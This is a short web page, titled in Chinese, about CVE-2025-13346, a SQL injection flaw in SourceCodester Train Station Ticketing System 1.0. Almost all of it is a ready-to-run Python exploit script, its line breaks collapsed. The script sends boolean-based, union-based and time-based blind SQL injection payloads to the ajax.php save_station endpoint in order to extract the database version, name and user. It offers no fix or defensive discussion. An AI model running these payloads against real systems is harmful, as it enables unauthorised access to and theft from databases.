CVE-2025-13346 | SourceCodester Train Station Ticketing System SQL注入漏洞

import requests import sys # CVE-2025-13346 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=save_station def exploit_sqli(target_url, payload): """ SQL Injection exploitation function payload: malicious SQL injection payload """ params = { 'action': 'save_station', 'id': payload, 'station': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Boolean-based blind SQL injection payload example boolean_payload = "1' AND 1=1 -- -" # Union-based SQL injection payload example union_payload = "1' UNION SELECT NULL,version(),database(),user() -- -" # Time-based blind SQL injection payload example time_payload = "1' AND IF(1=1,SLEEP(5),0) -- -" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13346.py <target_url>") print("Example: python cve-2025-13346.py http://localhost/ajax.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing SQL injection on {target}") print(f"[*] Boolean payload: {boolean_payload}") result = exploit_sqli(target, boolean_payload) print(f"[+] Response: {result[:200]}")